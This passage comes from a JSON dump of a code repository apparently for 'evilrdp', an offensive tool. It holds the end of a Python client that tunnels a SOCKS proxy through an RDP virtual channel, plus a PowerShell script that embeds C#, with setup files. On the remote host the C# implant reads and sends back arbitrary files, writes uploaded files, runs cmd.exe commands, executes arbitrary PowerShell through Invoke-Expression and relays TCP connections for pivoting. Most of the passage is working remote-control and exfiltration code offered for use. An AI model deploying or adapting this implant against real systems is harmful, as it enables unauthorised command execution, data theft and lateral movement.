int.from_bytes(msg.data[:4], byteorder='little', signed=False)\n\t\t\t\tline = ''\n\t\t\t\tif len(msg.data) > 4:\n\t\t\t\t\tline = msg.data[4:].decode()\n\t\t\t\tyield (stderr_or_stout, line)\n\t\t\telse:\n\t\t\t\traise Exception('Unexpected reply type %s' % msg.command)\n\t\n\tasync def __handle_socks_in(self, token:bytes, writer:asyncio.StreamWriter):\n\t\ttry:\n\t\t\twhile True:\n\t\t\t\tmsg = await self.__channels[token].get()\n\t\t\t\tif msg.command != PSCMD.SOCKETDATA:\n\t\t\t\t\tbreak\n\t\t\t\twriter.write(msg.data)\n\t\t\t\tawait writer.drain()\n\t\tfinally:\n\t\t\twriter.close()\n\t\n\tasync def __handle_tcp_client(self, reader:asyncio.StreamReader, writer:asyncio.StreamWriter):\n\t\tinitcmd = None\n\t\tpt = None\n\t\tdata = await reader.read(1)\n\t\tif data[0] == 5:\n\t\t\tauthlen = await reader.read(1)\n\t\t\tauthlen = authlen[0]\n\t\t\tmethods = await reader.read(authlen)\n\t\t\tauthmethods = []\n\t\t\tfor c in methods:\n\t\t\t\tauthmethods.append(SOCKS5Method(c))\n\t\t\t\n\t\t\trep = SOCKS5NegoReply.construct(SOCKS5Method.NOAUTH)\n\t\t\twriter.write(rep.to_bytes())\n\t\t\tawait writer.drain()\n\n\t\t\tresp = await SOCKS5Request.from_streamreader(reader)\n\t\t\tif resp.CMD in [SOCKS5Command.CONNECT, SOCKS5Command.BIND]:\n\t\t\t\tdata = resp.CMD.value.to_bytes(4, byteorder='little', signed=False)\n\t\t\t\tdata += resp.DST_PORT.to_bytes(4, byteorder='little', signed=False)\n\t\t\t\tdata += str(resp.DST_ADDR).encode()\n\t\t\t\tinitcmd = PSCMDMessage(PSCMD.SOCKETOPEN, data)\n\t\t\telse:\n\t\t\t\traise NotImplementedError()\n\t\t\t\n\t\t\ttoken = await self.sendcmd(initcmd)\n\t\t\tmsg = await self.__channels[token].get()\n\t\t\tif msg.command != PSCMD.CONTINUE:\n\t\t\t\tprint('Failed to open socket on the remote end!')\n\t\t\t\trepl = SOCKS5Reply.construct(SOCKS5ReplyType.FAILURE, '', 0)\n\t\t\t\twriter.write(repl.to_bytes())\n\t\t\t\tawait writer.drain()\n\t\t\t\twriter.close()\n\t\t\t\treturn\n\n\n\t\t\trepl = SOCKS5Reply.construct(SOCKS5ReplyType.SUCCEEDED, '', 0)\n\t\t\twriter.write(repl.to_bytes())\n\t\t\tawait writer.drain()\n\t\telif data[0] == 4:\n\t\t\traise NotImplementedError()\n\t\telse:\n\t\t\traise ValueError() \n\t\t\n\t\ttry:\n\t\t\tpt = asyncio.create_task(self.__handle_socks_in(token, writer))\n\t\t\tself.__proxytasks.append(pt)\n\t\t\twhile True:\n\t\t\t\tdata = await reader.read(1590)\n\t\t\t\tif data == b'':\n\t\t\t\t\t#print('Client disconnected!')\n\t\t\t\t\treturn\n\t\t\t\tmsg = PSCMDMessage(PSCMD.SOCKETDATA, data, token=initcmd.token)\n\t\t\t\tawait self.channel_data_out(msg.to_bytes())\n\t\texcept Exception as e:\n\t\t\tprint('Error! %s' % e)\n\t\t\treturn\n\t\tfinally:\n\t\t\tif pt is not None:\n\t\t\t\tpt.cancel()\n\t\t\tif initcmd is not None:\n\t\t\t\tmsg = PSCMDMessage(PSCMD.OK, b'', token=initcmd.token)\n\t\t\t\tawait self.channel_data_out(msg.to_bytes())\n\n\tasync def socksproxy(self, listen_ip, listen_port):\n\t\ttry:\n\t\t\tself.__socksserver = await asyncio.start_server(self.__handle_tcp_client, listen_ip, listen_port)\n\t\t\tprint('SOCKS proxy started on %s:%s' % (listen_ip, listen_port))\n\t\t\treturn True, None\n\t\texcept Exception as e:\n\t\t\treturn None, e"
  },
  {
    "path": "evilrdp/vchannels/pscmd/serverscript.ps1",
    "content": "$VCHannelDef = @'\nusing System;\nusing System.Runtime.InteropServices;\nusing System.IO;\nusing System.Text;\nusing Microsoft.Win32.SafeHandles;\nusing System.ComponentModel;\nusing System.Threading.Tasks;\nusing System.Collections.Generic;\nusing System.Net.Sockets;\nusing System.Threading;\n\n/// <summary>\n/// The WtsApi32 class is taken from P/Invoke and other sources.\n/// Most important part is the \"Open\" function which will return a fully functioning FileStream object for the given channel.\n/// There is one caveat! One Read command will return at maxiumum 1600bytes (with the 8 byte header included) woth of data. This is \n/// by RDP protocol design, cannot be changed. The workaround is to design the communication protocol with an appropriate length field\n/// so you'll know when each packet ends.\n/// THIS WILL ONLY WORK FROM AN RDP SESSION. RUNNING THIS CODE OUTSIDE AN RDP SESSION WILL FAIL TO OPEN THE CHANNEL (OVBIOUSLY)\n/// </summary>\nclass WtsApi32\n{\n    [Flags]\n    public enum DuplicateOptions : uint\n    {\n        DUPLICATE_CLOSE_SOURCE = (0x00000001),// Closes the source handle. This occurs regardless of any error status returned.\n        DUPLICATE_SAME_ACCESS = (0x00000002), //Ignores the dwDesiredAccess parameter. The duplicate handle has the same access as the source handle.\n    }\n\n    [DllImport(\"kernel32.dll\", SetLastError = true)]\n    public static extern IntPtr GetCurrentProcess();\n\n    [DllImport(\"kernel32.dll\", SetLastError = true)]\n    [return: MarshalAs(UnmanagedType.Bool)]\n    static extern bool DuplicateHandle(IntPtr hSourceProcessHandle,\n       IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle,\n       uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);\n\n    private enum WTS_VIRTUAL_CLASS\n    {\n        ClientData,  // Virtual channel client module data\n        FileHandle   // (C2H data)\n    };\n\n    [DllImport(\"Wtsapi32.dll\", SetLastError = true)]\n    public static extern IntPtr WTSVirtualChannelOpen(IntPtr server,\n        int sessionId, [MarshalAs(UnmanagedType.LPStr)] string virtualName);\n\n    [DllImport(\"Wtsapi32.dll\", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]\n    private static extern IntPtr WTSVirtualChannelOpenEx(uint dwSessionID, string pChannelName, int flags);\n\n    [DllImport(\"Wtsapi32.dll\", SetLastError = true)]\n    public static extern bool WTSVirtualChannelWrite(IntPtr channelHandle,\n           byte[] buffer, int length, ref int bytesWritten);\n\n    [DllImport(\"Wtsapi32.dll\", SetLastError = true)]\n    public static extern bool WTSVirtualChannelRead(IntPtr channelHandle,\n           int timeout, byte[] buffer, int length, ref int bytesReaded);\n\n    [DllImport(\"Wtsapi32.dll\")]\n    public static extern bool WTSVirtualChannelClose(IntPtr channelHandle);\n\n    [DllImport(\"Wtsapi32.dll\", SetLastError = true)]\n    private static extern bool WTSVirtualChannelQuery(IntPtr hChannelHandle,\n        WTS_VIRTUAL_CLASS virtualClass,\n        ref IntPtr ppBuffer,\n        ref uint pBytesReturned);\n\n    [DllImport(\"Wtsapi32.dll\", ExactSpelling = true, SetLastError = false)]\n    public static extern void WTSFreeMemory(IntPtr memory);\n\n    public static uint WTS_CURRENT_SESSION = uint.MaxValue;\n\n    public enum WTS_CHANNEL_OPTION\n    {\n        DYNAMIC = 0x00000001,   // dynamic channel\n        DYNAMIC_PRI_LOW = 0x00000000,   // priorities\n        DYNAMIC_PRI_MED = 0x00000002,\n        DYNAMIC_PRI_HIGH = 0x00000004,\n        DYNAMIC_PRI_REAL = 0x00000006,\n        DYNAMIC_NO_COMPRESS = 0x00000008\n    }\n\n\n    static public int CHANNEL_CHUNK_LENGTH = 1600;\n\n    static public int WTS_CHANNEL_OPTION_DYNAMIC = 0x00000001;   // dynamic channel\n    static public int WTS_CHANNEL_OPTION_DYNAMIC_PRI_LOW = 0x00000000;   // priorities\n    static public int WTS_CHANNEL_OPTION_DYNAMIC_PRI_MED = 0x00000002;\n    static public int WTS_CHANNEL_OPTION_DYNAMIC_PRI_HIGH = 0x00000004;\n    static public int WTS_CHANNEL_OPTION_DYNAMIC_PRI_REAL = 0x00000006;\n    static public int WTS_CHANNEL_OPTION_DYNAMIC_NO_COMPRESS = 0x00000008;\n\n    /// <summary>\n    /// Opens the virtual channel over RDP, and returns a FileStream object to read and write to the channel.\n    /// Be careful, the recieved data (on FileStream.Read) will contain 8 bytes in the beginning which is the \n    /// header for the transmission layer, feel free to discard it!\n    /// </summary>\n    /// <param name=\"channelName\"></param>\n    /// <param name=\"option\"></param>\n    /// <returns></returns>\n    /// <exception cref=\"Exception\"></exception>\n    /// <exception cref=\"Win32Exception\"></exception>\n    public static FileStream Open(string channelName, WTS_CHANNEL_OPTION option = WTS_CHANNEL_OPTION.DYNAMIC | WTS_CHANNEL_OPTION.DYNAMIC_NO_COMPRESS)\n    {\n        // Open\n        \n        IntPtr ppFile;\n        IntPtr sfh = WTSVirtualChannelOpenEx(WTS_CURRENT_SESSION, channelName, (int)option);\n        try\n        {\n            if(sfh == IntPtr.Zero)\n            {\n                int error = Marshal.GetLastWin32Error();\n                throw new Exception(\"Failed to open channel! Code: \" + error);\n            }\n            IntPtr pBuffer = IntPtr.Zero;\n            try\n            {\n                uint cbReturned = 0;\n                if (!WTSVirtualChannelQuery(sfh, WTS_VIRTUAL_CLASS.FileHandle, ref pBuffer, ref cbReturned)\n                    || cbReturned < IntPtr.Size)\n                {\n                    throw new Win32Exception();\n                }\n                var pWtsFile = Marshal.ReadIntPtr(pBuffer);\n                if (!DuplicateHandle(\n                    GetCurrentProcess(), pWtsFile,\n                    GetCurrentProcess(), out ppFile,\n                    0, false, (uint)DuplicateOptions.DUPLICATE_SAME_ACCESS))\n                {\n                    throw new Win32Exception();\n                }\n            }\n            finally\n            {\n                WTSFreeMemory(pBuffer);\n            }\n        }\n        finally\n        {\n\n        }\n        SafeFileHandle pFile = new SafeFileHandle(ppFile, true);\n        // create\n        return new FileStream(pFile, FileAccess.ReadWrite, bufferSize: 32 * 1024 * 1024, isAsync: true);\n    }\n}\n\n/// <summary>\n/// Type enum for each packet.\n/// </summary>\npublic enum CMDType : int\n{\n    OK = 0,\n    ERR = 1,\n    CONTINUE = 2,\n    PS = 20,\n    GETFILE = 21,\n    PUTFILE = 22,\n    FILEDATA = 23,\n    SHELL = 24,\n    SHELLDATA = 25,\n    SOCKETOPEN = 26,\n    SOCKETDATA = 27,\n}\n\n/// <summary>\n/// Packet class for the communication channel between the server and client component\n/// Every packet contains this header, the data array structure depends on the CMDType\n/// </summary>\npublic class CMD\n{\n    public int length;\n    public byte[] token;\n    public CMDType command;\n    public byte[] data;\n\n    public CMD(byte[]token, CMDType command, byte[]data)\n    {\n        this.token = token;\n        this.command = command;\n        this.data = data;\n        this.length = data.Length + 24;\n\n    }\n\n    /// <summary>\n    /// Parses the recieved bytes and returns the Packet.\n    /// </summary>\n    /// <param name=\"rawdata\"></param>\n    public CMD(byte[] rawdata)\n    {\n        this.length = (Int32)(BitConverter.ToInt16(rawdata, 0));\n        this.token = new byte[16];\n        Array.Copy(rawdata, 4, this.token, 0, 16);\n        this.command = (CMDType)(Int32)(BitConverter.ToInt16(rawdata, 20));\n        if (rawdata.Length > 24 ) {\n            this.data = new byte[rawdata.Length - 24];\n            Array.Copy(rawdata, 24, this.data, 0, rawdata.Length - 24);\n        }\n\n    }\n\n    /// <summary>\n    /// Serializes the packet to be sent over the channel.\n    /// </summary>\n    /// <returns></returns>\n    public byte[] toBytes()\n    {\n        byte[] res = null;\n        using (MemoryStream ms = new MemoryStream())\n        {\n            ms.Write(BitConverter.GetBytes(this.length), 0, 4);\n            ms.Write(this.token, 0, this.token.Length);\n            ms.Write(BitConverter.GetBytes((int)this.command), 0, 4);\n            if(this.data.Length > 0)\n            {\n                ms.Write(this.data, 0, this.data.Length);\n            }\n            \n            res = ms.ToArray();\n        }\n        return res;\n\n    }\n}\n\n/// <summary>\n/// Base class for the subchannels, this is part of the communication framework, not RDP.\n/// Every time a command with an unknown token arrives from the RDP client, a new SubChannel is created.\n/// </summary>\npublic class SubChannel\n{\n    protected VChannel manager;\n    protected byte[] token;\n    protected CMD initCmd;\n    protected CancellationTokenSource channelClose;\n\n    public SubChannel(VChannel manager, CMD initCmd, CancellationToken managerClose)\n    {\n        this.manager = manager;\n        this.initCmd = initCmd;\n        this.channelClose = CancellationTokenSource.CreateLinkedTokenSource(managerClose);\n    }\n\n    virtual public async Task start()\n    {\n\n    }\n\n    virtual public async Task HandleIncoming(CMD cmd)\n    {\n\n    }\n}\n\n/// <summary>\n/// This subchannel type is to manage file read operation.\n/// Upon start, the whole file specificed by the filepath in the initCmd's data array \n/// will be read and transmitted back to the client.\n/// </summary>\npublic class FileReadSubChannel : SubChannel\n{\n    string filepath;\n    public FileReadSubChannel(VChannel manager, CMD initCmd, CancellationToken managerClose) : base(manager, initCmd, managerClose)\n    {\n        this.filepath = Encoding.UTF8.GetString( initCmd.data);\n\n    }\n\n    public override async Task start()\n    {\n        readFile();\n    }\n\n    async Task readFile()\n    {\n        try\n        {\n            using (var inFileSteam = new FileStream(filepath, FileMode.Open))\n            {\n                while(inFileSteam.Length != inFileSteam.Position)\n                {\n                    byte[] buffer = new byte[1500];\n                    int bytesRead = await inFileSteam.ReadAsync(buffer, 0, buffer.Length, channelClose.Token);\n                    await manager.SendCmd(initCmd.token, CMDType.FILEDATA, buffer);\n                }\n                \n            }\n            await manager.SendCmd(initCmd.token, CMDType.OK);\n            return;\n        }\n        catch (Exception)\n        {\n            //cant put await in catch block...\n            //what is this lunacy...\n        }\n        await manager.SendCmd(initCmd.token, CMDType.ERR);\n    }\n\n    public override async Task HandleIncoming(CMD cmd)\n    {\n        switch (cmd.command)\n        {\n            case CMDType.OK:\n            case CMDType.ERR:\n                {\n                    channelClose.Cancel();\n                    break;\n                }\n        }\n    }\n}\n\npublic class FileWriteSubChannel : SubChannel\n{\n    string filepath;\n    FileStream fs;\n\n    public FileWriteSubChannel(VChannel manager, CMD initCmd, CancellationToken managerClose) : base(manager, initCmd, managerClose)\n    {\n        this.filepath = Encoding.UTF8.GetString(initCmd.data);\n    }\n\n    public override async Task start()\n    {\n        fs = new FileStream(filepath, FileMode.Create, FileAccess.Write);\n    }\n\n    public override async Task HandleIncoming(CMD cmd)\n    {\n        switch (cmd.command)\n        {\n            case CMDType.FILEDATA:\n                {\n                    await fs.WriteAsync(cmd.data, 0, cmd.data.Length, channelClose.Token);\n                    break;\n                }\n            case CMDType.OK:\n            case CMDType.ERR:\n                {\n                    channelClose.Cancel();\n                    fs.Close();\n                    fs.Dispose();\n                    break;\n                }\n        }\n        \n    }\n\n}\n\n/// <summary>\n/// This SubChannel is created to manage one-shot style execution of shell commands\n/// The STDOUT and STDERR data will be sent back to the RDP client, each with a different ID.\n/// </summary>\npublic class CMDExecSubChannel : SubChannel\n{\n    string command;\n    System.Diagnostics.Process process;\n    public CMDExecSubChannel(VChannel manager, CMD initCmd, CancellationToken managerClose) : base(manager, initCmd, managerClose)\n    {\n        this.command = Encoding.UTF8.GetString(initCmd.data);\n    }\n\n    public override async Task start()\n    {\n        procreader();\n    }\n\n    async Task procreader()\n    {\n        try\n        {\n            System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo(\"cmd\", \"/c \" + command);\n            procStartInfo.RedirectStandardOutput = true;\n            procStartInfo.RedirectStandardError = true;\n            procStartInfo.UseShellExecute = false;\n            procStartInfo.CreateNoWindow = true;\n            process = new System.Diagnostics.Process();\n            process.StartInfo = procStartInfo;\n            process.Start();\n\n            while (!process.HasExited)\n            {\n                string result = process.StandardOutput.ReadToEnd();\n                if (result.Length > 0)\n                {\n                    byte[] xxx = Encoding.UTF8.GetBytes(result);\n                    byte[] data = new byte[4 + xxx.Length];\n                    Array.Copy(BitConverter.GetBytes(1), data, 4);\n                    Array.Copy(xxx, 0, data, 4, xxx.Length);\n                    await manager.SendCmd(initCmd.token, CMDType.SHELLDATA, data);\n                }\n                string errresult = process.StandardError.ReadToEnd();\n                if (result.Length > 0)\n                {\n                    byte[] xxx = Encoding.UTF8.GetBytes(errresult);\n                    byte[] data = new byte[4 + xxx.Length];\n                    Array.Copy(BitConverter.GetBytes(2), data, 4);\n                    Array.Copy(xxx, 0, data, 4, xxx.Length);\n                    await manager.SendCmd(initCmd.token, CMDType.SHELLDATA, data);\n                }\n\n            }\n\n            await manager.SendCmd(initCmd.token, CMDType.OK);\n            return;\n        }\n        catch (Exception objException)\n        {\n            //?????????\n        }\n        await manager.SendCmd(initCmd.token, CMDType.ERR);\n    }\n\n    public override async Task HandleIncoming(CMD cmd)\n    {\n        \n    }\n\n\n}\n\n/// <summary>\n/// SubChannel manages a remote SOCKS server. \n/// This is not a SOCKS server implementation, rather a simple wrapper around a single socket.\n/// The actual SOCKS proxy is implemented on the remote end.\n/// </summary>\npublic class SOCKSSubChannel : SubChannel\n{\n    string hostname;\n    int port;\n    int connect_or_bind;\n    NetworkStream stream;\n    TcpClient client;\n    TcpListener listener;\n\n    public SOCKSSubChannel(VChannel manager, CMD initCmd, CancellationToken managerClose) : base(manager, initCmd, managerClose)\n    {\n        this.connect_or_bind = BitConverter.ToInt32(initCmd.data, 0);\n        this.port = BitConverter.ToInt32(initCmd.data, 4);\n        this.hostname = Encoding.UTF8.GetString(initCmd.data, 8, initCmd.data.Length - 8);\n    }\n\n    public override async Task start()\n    {\n        startComms();\n        \n    }\n\n    async Task startComms()\n    {\n        if (connect_or_bind == 1)\n        {\n            client = new TcpClient();\n            await client.ConnectAsync(hostname, port);\n            stream = client.GetStream();\n            await manager.SendCmd(initCmd.token, CMDType.CONTINUE);\n\n            while (true)\n            {\n                byte[] buffer = new byte[1500];\n                int recvSize = await stream.ReadAsync(buffer, 0, buffer.Length, channelClose.Token);\n                byte[] recdata = new byte[recvSize];\n                Array.Copy(buffer, recdata, recdata.Length);\n                await manager.SendCmd(initCmd.token, CMDType.SOCKETDATA, recdata);\n            }\n            \n        }\n        else\n        {\n            listener = new TcpListener(port);\n            client = await listener.AcceptTcpClientAsync();\n            stream = client.GetStream();\n            await manager.SendCmd(initCmd.token, CMDType.CONTINUE);\n\n            while (true)\n            {\n                byte[] buffer = new byte[1500];\n                int recvSize = await stream.ReadAsync(buffer, 0, buffer.Length, channelClose.Token);\n                byte[] recdata = new byte[recvSize];\n                Array.Copy(buffer, recdata, recdata.Length);\n                await manager.SendCmd(initCmd.token, CMDType.SOCKETDATA, recdata);\n            }\n        }\n\n\n    }\n\n    public override async Task HandleIncoming(CMD cmd)\n    {\n        switch (cmd.command)\n        {\n            case CMDType.SOCKETDATA:\n                {\n                    await stream.WriteAsync(cmd.data, 0, cmd.data.Length, channelClose.Token);\n                    break;\n                }\n            case CMDType.OK:\n            case CMDType.ERR:\n                {\n                    channelClose.Cancel();\n                    stream.Close();\n                    client.Close();\n                    if(connect_or_bind != 1)\n                    {\n                        listener.Stop();\n                    }\n\n                    break;\n                }\n        }\n    }\n\n}\n\n/// <summary>\n/// This class manages the Virtual Dynamic channel over the RDP connection.\n/// The channelname parameter must be known to the client, and by documentation should be max 7 ASCII characters long.\n/// All communication between the RDP client component and this manager is done over the FileStream object provided by \n/// the WtsApi32 class.\n/// This class contains and eventhandler called psCommandExec which can be used to execute PowerShell commands, if you start\n/// it with the appropriate powershell setup (included in a separate script)\n/// </summary>\npublic class VChannel\n{\n    public string channelname;\n    private FileStream vchannel;\n    public event EventHandler psCommandExec;\n    private Dictionary<string, SubChannel> channels = new Dictionary<string, SubChannel>();\n    private CancellationTokenSource cts = new CancellationTokenSource();\n\n    public class PSExecEventArgs : EventArgs\n    {\n        public byte[] token { get; set; }\n        public string cmd { get; set; }\n        public VChannel channel { get; set; }\n    }\n\n    /// <summary>\n    /// Powershell exec event trigger\n    /// </summary>\n    /// <param name=\"e\"></param>\n    protected virtual void OnPsExecCmd(PSExecEventArgs e)\n    {\n        if (psCommandExec == null) return;\n        psCommandExec.Invoke(this, e);\n    }\n\n\n    /// <summary>\n    /// Channel name MUST be the same on both the server and the client!\n    /// </summary>\n    /// <param name=\"channelname\"></param>\n    public VChannel(string channelname)\n    {\n        this.channelname = channelname;\n\n    }\n\n    /// <summary>\n    /// This is the \"main\" function which will \"block\" until the RDP virtual channel is closed.\n    /// </summary>\n    /// <returns></returns>\n    public async Task run()\n    {\n        vchannel = WtsApi32.Open(channelname, WtsApi32.WTS_CHANNEL_OPTION.DYNAMIC | WtsApi32.WTS_CHANNEL_OPTION.DYNAMIC_NO_COMPRESS);\n        await HandleIncoming(vchannel);\n    }\n\n    /// <summary>\n    /// When an unknown token arrives, a new Subchannel is opened based on the CMDType of the initiator cmd.\n    /// Extend this switch-case for more features.\n    /// </summary>\n    /// <param name=\"cmd\"></param>\n    /// <returns></returns>\n    async Task<SubChannel> startChannel(CMD cmd)\n    {\n        SubChannel channel = null;\n        try\n        {\n            switch (cmd.command)\n            {\n                case CMDType.GETFILE:\n                    {\n                        channel = new FileReadSubChannel(this, cmd, this.cts.Token);\n                        await channel.start();\n                        break;\n                    }\n                case CMDType.SOCKETOPEN:\n                    {\n                        channel = new SOCKSSubChannel(this, cmd, cts.Token);\n                        await channel.start();\n                        break;\n                    }\n                case CMDType.SHELL:\n                    {\n                        channel = new CMDExecSubChannel(this, cmd, cts.Token);\n                        await channel.start();\n                        break;\n                    }\n                case CMDType.PUTFILE:\n                    {\n                        channel = new FileWriteSubChannel(this, cmd, cts.Token);\n                        await channel.start();\n                        break;\n                    }\n                default:\n                    {\n                        //unknown channel type!\n                        throw new Exception(\"Unknown channel type!\");\n                        break;\n                    }\n            }\n            return channel;\n        }\n        catch(Exception e)\n        {\n            \n        }\n        await SendCmd(cmd.token, CMDType.ERR);\n        return channel;\n\n    }\n\n    /// <summary>\n    /// This function is invoked whenever a new packet arrives from the remote client.\n    /// Here you can see that the PS packet is special, as it triggers an event for PowerShell execution.\n    /// Other packets (named cmd) are either kickstart a new subchannel, or get dispatched to an existing subchannel,\n    /// </summary>\n    /// <param name=\"cmd\"></param>\n    /// <returns></returns>\n    async Task HandleCmd(CMD cmd)\n    {\n        switch (cmd.command)\n        {\n            case CMDType.PS:\n                {\n                    // Powershell execution, triggering event to be recieved by powershell\n                    PSExecEventArgs e = new PSExecEventArgs();\n                    e.token = cmd.token;\n                    e.cmd = Encoding.UTF8.GetString(cmd.data);\n                    e.channel = this;\n                    OnPsExecCmd(e);\n                    break;\n                }\n            default:\n                {\n                    // C# can't handle byte array in switch-case it seems\n                    // converting the token to hex string ://\n                    string tokenhex = BitConverter.ToString(cmd.token); //this is so stupid...\n                    SubChannel ch;\n\n                    if (!channels.TryGetValue(tokenhex, out ch))\n                    {\n                        // New command! Creating subchannel for it\n                        ch = await startChannel(cmd);\n                        channels.Add(tokenhex, ch);\n\n                    }\n                    else\n                    {\n                        // Dispatching packet to existing subchannel\n                        ch.HandleIncoming(cmd);\n                    }\n                    break;\n                }\n        }\n    }\n\n    // Powershell can call this function with the results\n    async public Task SendPSResult(string result, byte[] token)\n    {\n        await SendCmd(token, CMDType.OK, Encoding.UTF8.GetBytes(result));\n    }\n\n    /// <summary>\n    /// Send a packet back to the RDP client.\n    /// </summary>\n    /// <param name=\"token\"></param>\n    /// <param name=\"cmdtype\"></param>\n    /// <returns></returns>\n    async public Task SendCmd(byte[] token, CMDType cmdtype)\n    {\n        await SendCmd(token, cmdtype, new byte[0]);\n    }\n\n    /// <summary>\n    /// Send a packet back to the RDP client.\n    /// </summary>\n    /// <param name=\"token\"></param>\n    /// <param name=\"cmdtype\"></param>\n    /// <returns></returns>\n    async public Task SendCmd(byte[] token, CMDType cmdtype, byte[] data)\n    {\n        CMD res = new CMD(token, cmdtype, data);\n        byte[] raw = res.toBytes();\n        await vchannel.WriteAsync(raw, 0, raw.Length);\n    }\n\n    /// <summary>\n    /// Start recieving the packets from the RDP client.\n    /// This does the defragmenting, as there is a hard limit on the maximal data size per each ReadAsync call.\n    /// </summary>\n    /// <param name=\"vchannel\"></param>\n    /// <returns></returns>\n    async Task HandleIncoming(FileStream vchannel)\n    {\n        int cmdlen = -1;\n        MemoryStream ms = new MemoryStream();\n        while (true)\n        {\n            while(!((cmdlen != -1) && cmdlen <= ms.Position))\n            {\n                byte[] buffer = new byte[4096];\n                int bytesRead = await vchannel.ReadAsync(buffer, 0, buffer.Length);\n                ms.Write(buffer, 8, bytesRead - 8);\n                if(cmdlen == -1)\n                {\n                    cmdlen = (Int32)(BitConverter.ToInt32(buffer, 8));\n                }\n                \n            }\n\n            byte[] rawcmd = new byte[cmdlen];\n            Array.Copy(ms.ToArray(), rawcmd, cmdlen);\n            if (cmdlen != ms.Position)\n            { \n                byte[] remainingBytes = new byte[ms.Position - cmdlen];\n                Array.Copy(ms.ToArray(), ms.Position - cmdlen, remainingBytes, 0, ms.Position - cmdlen);\n                ms.Dispose();\n                ms = new MemoryStream(remainingBytes);\n                if(remainingBytes.Length >= 4)\n                {\n                    cmdlen = BitConverter.ToInt32(remainingBytes, 0);\n                }\n            }\n            else\n            {\n                ms.Dispose();\n                ms = new MemoryStream();\n                cmdlen = -1;\n            }\n            \n            await HandleCmd(new CMD(rawcmd));            \n        }\n    }\n\n}\n'@\n\n\nfunction Wait-Task {\n    param(\n        [Parameter(Mandatory, ValueFromPipeline)]\n        [System.Threading.Tasks.Task[]]$Task\n    )\n\n    Begin {\n        $Tasks = @()\n    }\n\n    Process {\n        $Tasks += $Task\n    }\n\n    End {\n        While (-not [System.Threading.Tasks.Task]::WaitAll($Tasks, 200)) {}\n        $Tasks.ForEach( { $_.GetAwaiter().GetResult() })\n    }\n}\n\nSet-Alias -Name await -Value Wait-Task -Force\nAdd-Type -TypeDefinition $VCHannelDef -IgnoreWarnings\n\n$action = {\n    #Write-Host $eventargs.cmd\n    $outtext = \"\"\n    Invoke-Expression -Command $eventargs.cmd | Tee-Object -Variable outtext\n    await $eventargs.channel.SendPSResult($outtext, $eventargs.token);\n\n}\n\n$vc = [VChannel]::new(\"PSCMD\")\n$job = Register-ObjectEvent -InputObject $vc -EventName 'psCommandExec' -Action $action\n\nawait $vc.run();\n"
  },
  {
    "path": "pyproject.toml",
    "content": "[build-system]\nrequires = [\"setuptools>=61.0.0\"]\nbuild-backend = \"setuptools.build_meta\""
  },
  {
    "path": "setup.py",
    "content": "from setuptools import setup, find_packages\nfrom distutils.core import setup, Extension\nimport re\nimport platform\n\nVERSIONFILE=\"evilrdp/_version.py\"\nverstrline = open(VERSIONFILE, \"rt\").read()\nVSRE = r\"^__version__ = ['\\\"]([^'\\\"]*)['\\\"]\"\nmo = re.search(VSRE, verstrline, re.M)\nif mo:\n    verstr = mo.group(1)\nelse:\n    raise RuntimeError(\"Unable to find version string in %s.\" % (VERSIONFILE,))\n\nsetup(\n\t# Application name:\n\tname=\"evilrdp\",\n\n\t# Version number (initial):\n\tversion=verstr,\n\n\t# Application author details:\n\tauthor=\"Tamas Jos\",\n\tauthor_email=\"info@skelsecprojects.com\",\n\n\t# Packages\n\tpackages=find_packages(),\n\n\t# Include additional files into the package\n\tinclude_package_data=True,\n\n\n\t# Details\n\turl=\"https://github.com/skelsec/evilrdp\",\n\n\tzip_safe = False,\n\t#\n\t# license=\"LICENSE.txt\",\n\tdescription=\"evilrdp\",\n\n\t# long_description=open(\"README.txt\").read(),\n\tpython_requires='>=3.7',\n\n\tinstall_requires=[\n\t\t'prompt-toolkit',\n\t\t'aardwolf>=0.2.5',\n\t\t'pyqt5',\n\t\t'pyqt5-sip',\n\t\t'pyperclip',\n\t],\n\t\n\tclassifiers=[\n\t\t\"Programming Language :: Python :: 3.8\",\n\t\t\"Operating System :: OS Independent\",\n\t],\n\tentry_points={\n\t\t'console_scripts': [\n\t\t\t'evilrdp = evilrdp.__main__:main',\n\t\t],\n\n\t}\n)\n"
  }
]